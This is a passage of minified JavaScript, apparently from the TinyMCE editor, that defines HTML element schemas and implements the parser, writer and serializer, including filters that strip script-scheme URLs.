e(this,null,t)}},t.create=function(e,n){var i,o;if(i=new t(e,r[e]||1),n)for(o in n)i.attr(o,n[o]);return i},t}),r(E,[d],function(e){function t(e,t){return e?e.split(t||" "):[]}function n(e){function n(e,n,r){function i(e,t){var n={},r,i;for(r=0,i=e.length;i>r;r++)n[e[r]]=t||{};return n}var s,c,u,d=arguments;for(r=r||[],n=n||"","string"==typeof r&&(r=t(r)),c=3;c<d.length;c++)"string"==typeof d[c]&&(d[c]=t(d[c])),r.push.apply(r,d[c]);for(e=t(e),s=e.length;s--;)u=[].concat(l,t(n)),a[e[s]]={attributes:i(u),attributesOrder:u,children:i(r,o)}}function r(e,n){var r,i,o,s;for(e=t(e),r=e.length,n=t(n);r--;)for(i=a[e[r]],o=0,s=n.length;s>o;o++)i.attributes[n[o]]={},i.attributesOrder.push(n[o])}var a={},l,c,u,d,f,p;return i[e]?i[e]:(l=t("id accesskey class dir lang style tabindex title"),c=t("address blockquote div dl fieldset form h1 h2 h3 h4 h5 h6 hr menu ol p pre table ul"),u=t("a abbr b bdo br button cite code del dfn em embed i iframe img input ins kbd label map noscript object q s samp script select small span strong sub sup textarea u var #text #comment"),"html4"!=e&&(l.push.apply(l,t("contenteditable contextmenu draggable dropzone hidden spellcheck translate")),c.push.apply(c,t("article aside details dialog figure header footer hgroup section nav")),u.push.apply(u,t("audio canvas command datalist mark meter output progress time wbr video ruby bdi keygen"))),"html5-strict"!=e&&(l.push("xml:lang"),p=t("acronym applet basefont big font strike tt"),u.push.apply(u,p),s(p,function(e){n(e,"",u)}),f=t("center dir isindex noframes"),c.push.apply(c,f),d=[].concat(c,u),s(f,function(e){n(e,"",d)})),d=d||[].concat(c,u),n("html","manifest","head body"),n("head","","base command link meta noscript script style title"),n("title hr noscript br"),n("base","href target"),n("link","href rel media hreflang type sizes hreflang"),n("meta","name http-equiv content charset"),n("style","media type scoped"),n("script","src async defer type charset"),n("body","onafterprint onbeforeprint onbeforeunload onblur onerror onfocus onhashchange onload onmessage onoffline ononline onpagehide onpageshow onpopstate onresize onscroll onstorage onunload",d),n("address dt dd div caption","",d),n("h1 h2 h3 h4 h5 h6 pre p abbr code var samp kbd sub sup i b u bdo span legend em strong small s cite dfn","",u),n("blockquote","cite",d),n("ol","reversed start type","li"),n("ul","","li"),n("li","value",d),n("dl","","dt dd"),n("a","href target rel media hreflang type",u),n("q","cite",u),n("ins del","cite datetime",d),n("img","src srcset alt usemap ismap width height"),n("iframe","src name width height",d),n("embed","src type width height"),n("object","data type typemustmatch name usemap form width height",d,"param"),n("param","name value"),n("map","name",d,"area"),n("area","alt coords shape href target rel media hreflang type"),n("table","border","caption colgroup thead tfoot tbody tr"+("html4"==e?" col":"")),n("colgroup","span","col"),n("col","span"),n("tbody thead tfoot","","tr"),n("tr","","td th"),n("td","colspan rowspan headers",d),n("th","colspan rowspan headers scope abbr",d),n("form","accept-charset action autocomplete enctype method name novalidate target",d),n("fieldset","disabled form name",d,"legend"),n("label","form for",u),n("input","accept alt autocomplete checked dirname disabled form formaction formenctype formmethod formnovalidate formtarget height list max maxlength min multiple name pattern readonly required size src step type value width"),n("button","disabled form formaction formenctype formmethod formnovalidate formtarget name type value","html4"==e?d:u),n("select","disabled form multiple name required size","option optgroup"),n("optgroup","disabled label","option"),n("option","disabled label selected value"),n("textarea","cols dirname disabled form maxlength name readonly required rows wrap"),n("menu","type label",d,"li"),n("noscript","",d),"html4"!=e&&(n("wbr"),n("ruby","",u,"rt rp"),n("figcaption","",d),n("mark rt rp summary bdi","",u),n("canvas","width height",d),n("video","src crossorigin poster preload autoplay mediagroup loop muted controls width height buffered",d,"track source"),n("audio","src crossorigin preload autoplay mediagroup loop muted controls buffered volume",d,"track source"),n("picture","","img source"),n("source","src srcset type media sizes"),n("track","kind src srclang label default"),n("datalist","",u,"option"),n("article section nav aside header footer","",d),n("hgroup","","h1 h2 h3 h4 h5 h6"),n("figure","",d,"figcaption"),n("time","datetime",u),n("dialog","open",d),n("command","type label icon disabled checked radiogroup command"),n("output","for form name",u),n("progress","value max",u),n("meter","value min max low high optimum",u),n("details","open",d,"summary"),n("keygen","autofocus challenge disabled form keytype name")),"html5-strict"!=e&&(r("script","language xml:space"),r("style","xml:space"),r("object","declare classid code codebase codetype archive standby align border hspace vspace"),r("embed","align name hspace vspace"),r("param","valuetype type"),r("a","charset name rev shape coords"),r("br","clear"),r("applet","codebase archive code object alt name width height align hspace vspace"),r("img","name longdesc align border hspace vspace"),r("iframe","longdesc frameborder marginwidth marginheight scrolling align"),r("font basefont","size color face"),r("input","usemap align"),r("select","onchange"),r("textarea"),r("h1 h2 h3 h4 h5 h6 div p legend caption","align"),r("ul","type compact"),r("li","type"),r("ol dl menu dir","compact"),r("pre","width xml:space"),r("hr","align noshade size width"),r("isindex","prompt"),r("table","summary width frame rules cellspacing cellpadding align bgcolor"),r("col","width align char charoff valign"),r("colgroup","width align char charoff valign"),r("thead","align char charoff valign"),r("tr","align char charoff valign bgcolor"),r("th","axis align char charoff valign nowrap bgcolor width height"),r("form","accept"),r("td","abbr axis scope align char charoff valign nowrap bgcolor width height"),r("tfoot","align char charoff valign"),r("tbody","align char charoff valign"),r("area","nohref"),r("body","background bgcolor text link vlink alink")),"html4"!=e&&(r("input button select textarea","autofocus"),r("input textarea","placeholder"),r("a","download"),r("link script img","crossorigin"),r("iframe","sandbox seamless allowfullscreen")),s(t("a form meter progress dfn"),function(e){a[e]&&delete a[e].children[e]}),delete a.caption.children.table,i[e]=a,a)}function r(e,t){var n;return e&&(n={},"string"==typeof e&&(e={"*":e}),s(e,function(e,r){n[r]="map"==t?a(e,/[, ]/):c(e,/[, ]/)})),n}var i={},o={},a=e.makeMap,s=e.each,l=e.extend,c=e.explode,u=e.inArray;return function(e){function o(t,n,r){var o=e[t];return o?o=a(o,/[, ]/,a(o.toUpperCase(),/[, ]/)):(o=i[t],o||(o=a(n," ",a(n.toUpperCase()," ")),o=l(o,r),i[t]=o)),o}function d(e){return new RegExp("^"+e.replace(/([?+*])/g,".$1")+"$")}function f(e){var n,r,i,o,s,l,c,f,p,h,m,g,v,b,x,w,_,E,N,k=/^([#+\-])?([^\[!\/]+)(?:\/([^\[!]+))?(?:(!?)\[([^\]]+)\])?$/,S=/^([!\-])?(\w+::\w+|[^=:<]+)?(?:([=:<])(.*))?$/,T=/[*?+]/;if(e)for(e=t(e,","),y["@"]&&(w=y["@"].attributes,_=y["@"].attributesOrder),n=0,r=e.length;r>n;n++)if(s=k.exec(e[n])){if(b=s[1],p=s[2],x=s[3],f=s[5],g={},v=[],l={attributes:g,attributesOrder:v},"#"===b&&(l.paddEmpty=!0),"-"===b&&(l.removeEmpty=!0),"!"===s[4]&&(l.removeEmptyAttrs=!0),w){for(E in w)g[E]=w[E];v.push.apply(v,_)}if(f)for(f=t(f,"|"),i=0,o=f.length;o>i;i++)if(s=S.exec(f[i])){if(c={},m=s[1],h=s[2].replace(/::/g,":"),b=s[3],N=s[4],"!"===m&&(l.attributesRequired=l.attributesRequired||[],l.attributesRequired.push(h),c.required=!0),"-"===m){delete g[h],v.splice(u(v,h),1);continue}b&&("="===b&&(l.attributesDefault=l.attributesDefault||[],l.attributesDefault.push({name:h,value:N}),c.defaultValue=N),":"===b&&(l.attributesForced=l.attributesForced||[],l.attributesForced.push({name:h,value:N}),c.forcedValue=N),"<"===b&&(c.validValues=a(N,"?"))),T.test(h)?(l.attributePatterns=l.attributePatterns||[],c.pattern=d(h),l.attributePatterns.push(c)):(g[h]||v.push(h),g[h]=c)}w||"@"!=p||(w=g,_=v),x&&(l.outputName=p,y[x]=l),T.test(p)?(l.pattern=d(p),C.push(l)):y[p]=l}}function p(e){y={},C=[],f(e),s(_,function(e,t){b[t]=e.children})}function h(e){var n=/^(~)?(.+)$/;e&&(i.text_block_elements=i.block_elements=null,s(t(e,","),function(e){var t=n.exec(e),r="~"===t[1],i=r?"span":"div",o=t[2];if(b[o]=b[i],L[o]=i,r||(R[o.toUpperCase()]={},R[o]={}),!y[o]){var a=y[i];a=l({},a),delete a.removeEmptyAttrs,delete a.removeEmpty,y[o]=a}s(b,function(e,t){e[i]&&(b[t]=e=l({},b[t]),e[o]=e[i])})}))}function m(e){var n=/^([+\-]?)(\w+)\[([^\]]+)\]$/;e&&s(t(e,","),function(e){var r=n.exec(e),i,o;r&&(o=r[1],i=o?b[r[2]]:b[r[2]]={"#comment":{}},i=b[r[2]],s(t(r[3],"|"),function(e){"-"===o?(b[r[2]]=i=l({},b[r[2]]),delete i[e]):i[e]={}}))})}function g(e){var t=y[e],n;if(t)return t;for(n=C.length;n--;)if(t=C[n],t.pattern.test(e))return t}var v=this,y={},b={},C=[],x,w,_,E,N,k,S,T,R,A,B,D,L={},H={};e=e||{},_=n(e.schema),e.verify_html===!1&&(e.valid_elements="*[*]"),x=r(e.valid_styles),w=r(e.invalid_styles,"map"),T=r(e.valid_classes,"map"),E=o("whitespace_elements","pre script noscript style textarea video audio iframe object"),N=o("self_closing_elements","colgroup dd dt li option p td tfoot th thead tr"),k=o("short_ended_elements","area base basefont br col frame hr img input isindex link meta param embed source wbr track"),S=o("boolean_attributes","checked compact declare defer disabled ismap multiple nohref noresize noshade nowrap readonly selected autoplay loop controls"),A=o("non_empty_elements","td th iframe video audio object script",k),B=o("text_block_elements","h1 h2 h3 h4 h5 h6 p div address pre form blockquote center dir fieldset header footer article section hgroup aside nav figure"),R=o("block_elements","hr table tbody thead tfoot th tr td li ol ul caption dl dt dd noscript menu isindex option datalist select optgroup",B),D=o("text_inline_elements","span strong b em i font strike u var cite dfn code mark q sup sub samp"),s((e.special||"script noscript style textarea").split(" "),function(e){H[e]=new RegExp("</"+e+"[^>]*>","gi")}),e.valid_elements?p(e.valid_elements):(s(_,function(e,t){y[t]={attributes:e.attributes,attributesOrder:e.attributesOrder},b[t]=e.children}),"html5"!=e.schema&&s(t("strong/b em/i"),function(e){e=t(e,"/"),y[e[1]].outputName=e[0]}),y.img.attributesDefault=[{name:"alt",value:""}],s(t("ol ul sub sup blockquote span font a table tbody tr strong em b i"),function(e){y[e]&&(y[e].removeEmpty=!0)}),s(t("p h1 h2 h3 h4 h5 h6 th td pre div address caption"),function(e){y[e].paddEmpty=!0}),s(t("span"),function(e){y[e].removeEmptyAttrs=!0})),h(e.custom_elements),m(e.valid_children),f(e.extended_valid_elements),m("+ol[ul|ol],+ul[ul|ol]"),e.invalid_elements&&s(c(e.invalid_elements),function(e){y[e]&&delete y[e]}),g("span")||f("span[!data-mce-type|*]"),v.children=b,v.getValidStyles=function(){return x},v.getInvalidStyles=function(){return w},v.getValidClasses=function(){return T},v.getBoolAttrs=function(){return S},v.getBlockElements=function(){return R},v.getTextBlockElements=function(){return B},v.getTextInlineElements=function(){return D},v.getShortEndedElements=function(){return k},v.getSelfClosingElements=function(){return N},v.getNonEmptyElements=function(){return A},v.getWhiteSpaceElements=function(){return E},v.getSpecialElements=function(){return H},v.isValidChild=function(e,t){var n=b[e];return!(!n||!n[t])},v.isValid=function(e,t){var n,r,i=g(e);if(i){if(!t)return!0;if(i.attributes[t])return!0;if(n=i.attributePatterns)for(r=n.length;r--;)if(n[r].pattern.test(e))return!0}return!1},v.getElementRule=g,v.getCustomElements=function(){return L},v.addValidElements=f,v.setValidElements=p,v.addCustomElements=h,v.addValidChildren=m,v.elements=y}}),r(N,[E,g,d],function(e,t,n){function r(e,t,n){var r=1,i,o,a,s;for(s=e.getShortEndedElements(),a=/<([!?\/])?([A-Za-z0-9\-_\:\.]+)((?:\s+[^"\'>]+(?:(?:"[^"]*")|(?:\'[^\']*\')|[^>]*))*|\/|\s+)>/g,a.lastIndex=i=n;o=a.exec(t);){if(i=a.lastIndex,"/"===o[1])r--;else if(!o[1]){if(o[2]in s)continue;r++}if(0===r)break}return i}function i(i,a){function s(){}var l=this;i=i||{},l.schema=a=a||new e,i.fix_self_closing!==!1&&(i.fix_self_closing=!0),o("comment cdata text start end pi doctype".split(" "),function(e){e&&(l[e]=i[e]||s)}),l.parse=function(e){function o(e){var t,n;for(t=p.length;t--&&p[t].name!==e;);if(t>=0){for(n=p.length-1;n>=t;n--)e=p[n],e.valid&&l.end(e.name);p.length=t}}function s(e,t,n,r,o){var a,s,l=/[\s\u0000-\u001F]+/g;if(t=t.toLowerCase(),n=t in x?t:z(n||r||o||""),_&&!y&&0!==t.indexOf("data-")){if(a=T[t],!a&&R){for(s=R.length;s--&&(a=R[s],!a.pattern.test(t)););-1===s&&(a=null)}if(!a)return;if(a.validValues&&!(n in a.validValues))return}if(V[t]&&!i.allow_script_urls){var c=n.replace(l,"");try{c=decodeURIComponent(c)}catch(u){c=unescape(c)}if(U.test(c))return;if(!i.allow_html_data_urls&&$.test(c)&&!/^data:image\//i.test(c))return}h.map[t]=n,h.push({name:t,value:n})}var l=this,c,u=0,d,f,p=[],h,m,g,v,y,b,C,x,w,_,E,N,k,S,T,R,A,B,D,L,H,M,P,O,I,F=0,z=t.decode,W,V=n.makeMap("src,href,data,background,formaction,poster"),U=/((java|vb)script|mhtml):/i,$=/^data:/i;for(M=new RegExp("<(?:(?:!--([\\w\\W]*?)-->)|(?:!\\[CDATA\\[([\\w\\W]*?)\\]\\]>)|(?:!DOCTYPE([\\w\\W]*?)>)|(?:\\?([^\\s\\/<>]+) ?([\\w\\W]*?)[?/]>)|(?:\\/([^>]+)>)|(?:([A-Za-z0-9\\-_\\:\\.]+)((?:\\s+[^\"'>]+(?:(?:\"[^\"]*\")|(?:'[^']*')|[^>]*))*|\\/|\\s+)>))","g"),P=/([\w:\-]+)(?:\s*=\s*(?:(?:\"((?:[^\"])*)\")|(?:\'((?:[^\'])*)\')|([^>\s]+)))?/g,C=a.getShortEndedElements(),H=i.self_closing_elements||a.getSelfClosingElements(),x=a.getBoolAttrs(),_=i.validate,b=i.remove_internals,W=i.fix_self_closing,O=a.getSpecialElements();c=M.exec(e);){if(u<c.index&&l.text(z(e.substr(u,c.index-u))),d=c[6])d=d.toLowerCase(),":"===d.charAt(0)&&(d=d.substr(1)),o(d);else if(d=c[7]){if(d=d.toLowerCase(),":"===d.charAt(0)&&(d=d.substr(1)),w=d in C,W&&H[d]&&p.length>0&&p[p.length-1].name===d&&o(d),!_||(E=a.getElementRule(d))){if(N=!0,_&&(T=E.attributes,R=E.attributePatterns),(S=c[8])?(y=-1!==S.indexOf("data-mce-type"),y&&b&&(N=!1),h=[],h.map={},S.replace(P,s)):(h=[],h.map={}),_&&!y){if(A=E.attributesRequired,B=E.attributesDefault,D=E.attributesForced,L=E.removeEmptyAttrs,L&&!h.length&&(N=!1),D)for(m=D.length;m--;)k=D[m],v=k.name,I=k.value,"{$uid}"===I&&(I="mce_"+F++),h.map[v]=I,h.push({name:v,value:I});if(B)for(m=B.length;m--;)k=B[m],v=k.name,v in h.map||(I=k.value,"{$uid}"===I&&(I="mce_"+F++),h.map[v]=I,h.push({name:v,value:I}));if(A){for(m=A.length;m--&&!(A[m]in h.map););-1===m&&(N=!1)}if(k=h.map["data-mce-bogus"]){if("all"===k){u=r(a,e,M.lastIndex),M.lastIndex=u;continue}N=!1}}N&&l.start(d,h,w)}else N=!1;if(f=O[d]){f.lastIndex=u=c.index+c[0].length,(c=f.exec(e))?(N&&(g=e.substr(u,c.index-u)),u=c.index+c[0].length):(g=e.substr(u),u=e.length),N&&(g.length>0&&l.text(g,!0),l.end(d)),M.lastIndex=u;continue}w||(S&&S.indexOf("/")==S.length-1?N&&l.end(d):p.push({name:d,valid:N}))}else(d=c[1])?(">"===d.charAt(0)&&(d=" "+d),i.allow_conditional_comments||"[if"!==d.substr(0,3)||(d=" "+d),l.comment(d)):(d=c[2])?l.cdata(d):(d=c[3])?l.doctype(d):(d=c[4])&&l.pi(d,c[5]);u=c.index+c[0].length}for(u<e.length&&l.text(z(e.substr(u))),m=p.length-1;m>=0;m--)d=p[m],d.valid&&l.end(d.name)}}var o=n.each;return i.findEndTag=r,i}),r(k,[_,E,N,d],function(e,t,n,r){var i=r.makeMap,o=r.each,a=r.explode,s=r.extend;return function(r,l){function c(t){var n,r,o,a,s,c,d,f,p,h,m,g,v,y;for(m=i("tr,td,th,tbody,thead,tfoot,table"),h=l.getNonEmptyElements(),g=l.getTextBlockElements(),n=0;n<t.length;n++)if(r=t[n],r.parent&&!r.fixed)if(g[r.name]&&"li"==r.parent.name){for(v=r.next;v&&g[v.name];)v.name="li",v.fixed=!0,r.parent.insert(v,r.parent),v=v.next;r.unwrap(r)}else{for(a=[r],o=r.parent;o&&!l.isValidChild(o.name,r.name)&&!m[o.name];o=o.parent)a.push(o);if(o&&a.length>1){for(a.reverse(),s=c=u.filterNode(a[0].clone()),p=0;p<a.length-1;p++){for(l.isValidChild(c.name,a[p].name)?(d=u.filterNode(a[p].clone()),c.append(d)):d=c,f=a[p].firstChild;f&&f!=a[p+1];)y=f.next,d.append(f),f=y;c=d}s.isEmpty(h)?o.insert(r,a[0],!0):(o.insert(s,a[0],!0),o.insert(r,s)),o=a[0],(o.isEmpty(h)||o.firstChild===o.lastChild&&"br"===o.firstChild.name)&&o.empty().remove()}else if(r.parent){if("li"===r.name){if(v=r.prev,v&&("ul"===v.name||"ul"===v.name)){v.append(r);continue}if(v=r.next,v&&("ul"===v.name||"ul"===v.name)){v.insert(r,v.firstChild,!0);continue}r.wrap(u.filterNode(new e("ul",1)));continue}l.isValidChild(r.parent.name,"div")&&l.isValidChild("div",r.name)?r.wrap(u.filterNode(new e("div",1))):"style"===r.name||"script"===r.name?r.empty().remove():r.unwrap()}}}var u=this,d={},f=[],p={},h={};r=r||{},r.validate="validate"in r?r.validate:!0,r.root_name=r.root_name||"body",u.schema=l=l||new t,u.filterNode=function(e){var t,n,r;n in d&&(r=p[n],r?r.push(e):p[n]=[e]),t=f.length;for(;t--;)n=f[t].name,n in e.attributes.map&&(r=h[n],r?r.push(e):h[n]=[e]);return e},u.addNodeFilter=function(e,t){o(a(e),function(e){var n=d[e];n||(d[e]=n=[]),n.push(t)})},u.addAttributeFilter=function(e,t){o(a(e),function(e){var n;for(n=0;n<f.length;n++)if(f[n].name===e)return void f[n].callbacks.push(t);f.push({name:e,callbacks:[t]})})},u.parse=function(t,o){function a(){function e(e){e&&(t=e.firstChild,t&&3==t.type&&(t.value=t.value.replace(R,"")),t=e.lastChild,t&&3==t.type&&(t.value=t.value.replace(D,"")))}var t=y.firstChild,n,i;if(l.isValidChild(y.name,I.toLowerCase())){for(;t;)n=t.next,3==t.type||1==t.type&&"p"!==t.name&&!T[t.name]&&!t.attr("data-mce-type")?i?i.append(t):(i=u(I,1),i.attr(r.forced_root_block_attrs),y.insert(i,t),i.append(t)):(e(i),i=null),t=n;e(i)}}function u(t,n){var r=new e(t,n),i;return t in d&&(i=p[t],i?i.push(r):p[t]=[r]),r}function m(e){var t,n,r;for(t=e.prev;t&&3===t.type;)n=t.value.replace(D,""),n.length>0?(t.value=n,t=t.prev):(r=t.prev,t.remove(),t=r)}function g(e){var t,n={};for(t in e)"li"!==t&&"p"!=t&&(n[t]=e[t]);return n}var v,y,b,C,x,w,_,E,N,k,S,T,R,A=[],B,D,L,H,M,P,O,I;if(o=o||{},p={},h={},T=s(i("script,style,head,html,body,title,meta,param"),l.getBlockElements()),O=l.getNonEmptyElements(),P=l.children,S=r.validate,I="forced_root_block"in o?o.forced_root_block:r.forced_root_block,M=l.getWhiteSpaceElements(),R=/^[ \t\r\n]+/,D=/[ \t\r\n]+$/,L=/[ \t\r\n]+/g,H=/^[ \t\r\n]+$/,v=new n({validate:S,allow_script_urls:r.allow_script_urls,allow_conditional_comments:r.allow_conditional_comments,self_closing_elements:g(l.getSelfClosingElements()),cdata:function(e){b.append(u("#cdata",4)).value=e},text:function(e,t){var n;B||(e=e.replace(L," "),b.lastChild&&T[b.lastChild.name]&&(e=e.replace(R,""))),0!==e.length&&(n=u("#text",3),n.raw=!!t,b.append(n).value=e)},comment:function(e){b.append(u("#comment",8)).value=e},pi:function(e,t){b.append(u(e,7)).value=t,m(b)},doctype:function(e){var t;t=b.append(u("#doctype",10)),t.value=e,m(b)},start:function(e,t,n){var r,i,o,a,s;if(o=S?l.getElementRule(e):{}){for(r=u(o.outputName||e,1),r.attributes=t,r.shortEnded=n,b.append(r),s=P[b.name],s&&P[r.name]&&!s[r.name]&&A.push(r),i=f.length;i--;)a=f[i].name,a in t.map&&(N=h[a],N?N.push(r):h[a]=[r]);T[e]&&m(r),n||(b=r),!B&&M[e]&&(B=!0)}},end:function(t){var n,r,i,o,a;if(r=S?l.getElementRule(t):{}){if(T[t]&&!B){if(n=b.firstChild,n&&3===n.type)if(i=n.value.replace(R,""),i.length>0)n.value=i,n=n.next;else for(o=n.next,n.remove(),n=o;n&&3===n.type;)i=n.value,o=n.next,(0===i.length||H.test(i))&&(n.remove(),n=o),n=o;if(n=b.lastChild,n&&3===n.type)if(i=n.value.replace(D,""),i.length>0)n.value=i,n=n.prev;else for(o=n.prev,n.remove(),n=o;n&&3===n.type;)i=n.value,o=n.prev,(0===i.length||H.test(i))&&(n.remove(),n=o),n=o}if(B&&M[t]&&(B=!1),(r.removeEmpty||r.paddEmpty)&&b.isEmpty(O))if(r.paddEmpty)b.empty().append(new e("#text","3")).value="\xa0";else if(!b.attributes.map.name&&!b.attributes.map.id)return a=b.parent,T[b.name]?b.empty().remove():b.unwrap(),void(b=a);
+b=b.parent}}},l),y=b=new e(o.context||r.root_name,11),v.parse(t),S&&A.length&&(o.context?o.invalid=!0:c(A)),I&&("body"==y.name||o.isRootContent)&&a(),!o.invalid){for(k in p){for(N=d[k],C=p[k],_=C.length;_--;)C[_].parent||C.splice(_,1);for(x=0,w=N.length;w>x;x++)N[x](C,k,o)}for(x=0,w=f.length;w>x;x++)if(N=f[x],N.name in h){for(C=h[N.name],_=C.length;_--;)C[_].parent||C.splice(_,1);for(_=0,E=N.callbacks.length;E>_;_++)N.callbacks[_](C,N.name,o)}}return y},r.remove_trailing_brs&&u.addNodeFilter("br",function(t){var n,r=t.length,i,o=s({},l.getBlockElements()),a=l.getNonEmptyElements(),c,u,d,f,p,h;for(o.body=1,n=0;r>n;n++)if(i=t[n],c=i.parent,o[i.parent.name]&&i===c.lastChild){for(d=i.prev;d;){if(f=d.name,"span"!==f||"bookmark"!==d.attr("data-mce-type")){if("br"!==f)break;if("br"===f){i=null;break}}d=d.prev}i&&(i.remove(),c.isEmpty(a)&&(p=l.getElementRule(c.name),p&&(p.removeEmpty?c.remove():p.paddEmpty&&(c.empty().append(new e("#text",3)).value="\xa0"))))}else{for(u=i;c&&c.firstChild===u&&c.lastChild===u&&(u=c,!o[c.name]);)c=c.parent;u===c&&(h=new e("#text",3),h.value="\xa0",i.replace(h))}}),r.allow_html_in_named_anchor||u.addAttributeFilter("id,name",function(e){for(var t=e.length,n,r,i,o;t--;)if(o=e[t],"a"===o.name&&o.firstChild&&!o.attr("href")){i=o.parent,n=o.lastChild;do r=n.prev,i.insert(n,o),n=r;while(n)}}),r.validate&&l.getValidClasses()&&u.addAttributeFilter("class",function(e){for(var t=e.length,n,r,i,o,a,s=l.getValidClasses(),c,u;t--;){for(n=e[t],r=n.attr("class").split(" "),a="",i=0;i<r.length;i++)o=r[i],u=!1,c=s["*"],c&&c[o]&&(u=!0),c=s[n.name],u||!c||c[o]||(u=!0),u&&(a&&(a+=" "),a+=o);a.length||(a=null),n.attr("class",a)}})}}),r(S,[g,d],function(e,t){var n=t.makeMap;return function(t){var r=[],i,o,a,s,l;return t=t||{},i=t.indent,o=n(t.indent_before||""),a=n(t.indent_after||""),s=e.getEncodeFunc(t.entity_encoding||"raw",t.entities),l="html"==t.element_format,{start:function(e,t,n){var c,u,d,f;if(i&&o[e]&&r.length>0&&(f=r[r.length-1],f.length>0&&"\n"!==f&&r.push("\n")),r.push("<",e),t)for(c=0,u=t.length;u>c;c++)d=t[c],r.push(" ",d.name,'="',s(d.value,!0),'"');r[r.length]=!n||l?">":" />",n&&i&&a[e]&&r.length>0&&(f=r[r.length-1],f.length>0&&"\n"!==f&&r.push("\n"))},end:function(e){var t;r.push("</",e,">"),i&&a[e]&&r.length>0&&(t=r[r.length-1],t.length>0&&"\n"!==t&&r.push("\n"))},text:function(e,t){e.length>0&&(r[r.length]=t?e:s(e))},cdata:function(e){r.push("<![CDATA[",e,"]]>")},comment:function(e){r.push("<!--",e,"-->")},pi:function(e,t){t?r.push("<?",e," ",t,"?>"):r.push("<?",e,"?>"),i&&r.push("\n")},doctype:function(e){r.push("<!DOCTYPE",e,">",i?"\n":"")},reset:function(){r.length=0},getContent:function(){return r.join("").replace(/\n$/,"")}}}}),r(T,[S,E],function(e,t){return function(n,r){var i=this,o=new e(n);n=n||{},n.validate="validate"in n?n.validate:!0,i.schema=r=r||new t,i.writer=o,i.serialize=function(e){function t(e){var n=i[e.type],s,l,c,u,d,f,p,h,m;if(n)n(e);else{if(s=e.name,l=e.shortEnded,c=e.attributes,a&&c&&c.length>1){for(f=[],f.map={},m=r.getElementRule(e.name),p=0,h=m.attributesOrder.length;h>p;p++)u=m.attributesOrder[p],u in c.map&&(d=c.map[u],f.map[u]=d,f.push({name:u,value:d}));for(p=0,h=c.length;h>p;p++)u=c[p].name,u in f.map||(d=c.map[u],f.map[u]=d,f.push({name:u,value:d}));c=f}if(o.start(e.name,c,l),!l){if(e=e.firstChild)do t(e);while(e=e.next);o.end(s)}}}var i,a;return a=n.validate,i={3:function(e){o.text(e.value,e.raw)},8:function(e){o.comment(e.value)},7:function(e){o.pi(e.name,e.value)},10:function(e){o.doctype(e.value)},4:function(e){o.cdata(e.value)},11:function(e){if(e=e.firstChild)do t(e);while(e=e.next)}},o.reset(),1!=e.type||n.inner?i[11](e):t(e),o.getContent()}}}),r(R,[y,k,g,T,_,E,u,d],function(e,t,n,r,i,o,a,s){var l=s.each,c=s.trim,u=e.DOM;return function(e,i){var s,d,f;return i&&(s=i.dom,d=i.schema),s=s||u,d=d||new o(e),e.entity_encoding=e.entity_encoding||"named",e.remove_trailing_brs="remove_trailing_brs"in e?e.remove_trailing_brs:!0,f=new t(e,d),f.addAttributeFilter("data-mce-tabindex",function(e,t){for(var n=e.length,r;n--;)r=e[n],r.attr("tabindex",r.attributes.map["data-mce-tabindex"]),r.attr(t,null)}),f.addAttributeFilter("src,href,style",function(t,n){for(var r=t.length,i,o,a="data-mce-"+n,l=e.url_converter,c=e.url_converter_scope,u;r--;)i=t[r],o=i.attributes.map[a],o!==u?(i.attr(n,o.length>0?o:null),i.attr(a,null)):(o=i.attributes.map[n],"style"===n?o=s.serializeStyle(s.parseStyle(o),i.name):l&&(o=l.call(c,o,n,i.name)),i.attr(n,o.length>0?o:null))}),f.addAttributeFilter("class",function(e){for(var t=e.length,n,r;t--;)n=e[t],r=n.attr("class"),r&&(r=n.attr("class").replace(/(?:^|\s)mce-item-\w+(?!\S)/g,""),n.attr("class",r.length>0?r:null))}),f.addAttributeFilter("data-mce-type",function(e,t,n){for(var r=e.length,i;r--;)i=e[r],"bookmark"!==i.attributes.map["data-mce-type"]||n.cleanup||i.remove()}),f.addNodeFilter("noscript",function(e){for(var t=e.length,r;t--;)r=e[t].firstChild,r&&(r.value=n.decode(r.value))}),f.addNodeFilter("script,style",function(e,t){function n(e){return e.replace(/(<!--\[CDATA\[|\]\]-->)/g,"\n").replace(/^[\r\n]*|[\r\n]*$/g,"").replace(/^\s*((<!--)?(\s*\/\/)?\s*<!\[CDATA\[|(<!--\s*)?\/\*\s*<!\[CDATA\[\s*\*\/|(\/\/)?\s*<!--|\/\*\s*<!--\s*\*\/)\s*[\r\n]*/gi,"").replace(/\s*(\/\*\s*\]\]>\s*\*\/(-->)?|\s*\/\/\s*\]\]>(-->)?|\/\/\s*(-->)?|\]\]>|\/\*\s*-->\s*\*\/|\s*-->\s*)\s*$/g,"")}for(var r=e.length,i,o,a;r--;)i=e[r],o=i.firstChild?i.firstChild.value:"","script"===t?(a=i.attr("type"),a&&i.attr("type","mce-no/type"==a?null:a.replace(/^mce\-/,"")),o.length>0&&(i.firstChild.value="// <![CDATA[\n"+n(o)+"\n// ]]>")):o.length>0&&(i.firstChild.value="<!--\n"+n(o)+"\n-->")}),f.addNodeFilter("#comment",function(e){for(var t=e.length,n;t--;)n=e[t],0===n.value.indexOf("[CDATA[")?(n.name="#cdata",n.type=4,n.value=n.value.replace(/^\[CDATA\[|\]\]$/g,"")):0===n.value.indexOf("mce:protected ")&&(n.name="#text",n.type=3,n.raw=!0,n.value=unescape(n.value).substr(14))}),f.addNodeFilter("xml:namespace,input",function(e,t){for(var n=e.length,r;n--;)r=e[n],7===r.type?r.remove():1===r.type&&("input"!==t||"type"in r.attributes.map||r.attr("type","text"))}),e.fix_list_elements&&f.addNodeFilter("ul,ol",function(e){for(var t=e.length,n,r;t--;)n=e[t],r=n.parent,("ul"===r.name||"ol"===r.name)&&n.prev&&"li"===n.prev.name&&n.prev.append(n)}),f.addAttributeFilter("data-mce-src,data-mce-href,data-mce-style,data-mce-selected,data-mce-expando,data-mce-type,data-mce-resize",function(e,t){for(var n=e.length;n--;)e[n].attr(t,null)}),{schema:d,addNodeFilter:f.addNodeFilter,addAttributeFilter:f.addAttributeFilter,serialize:function(t,n){var i=this,o,u,p,h,m;return 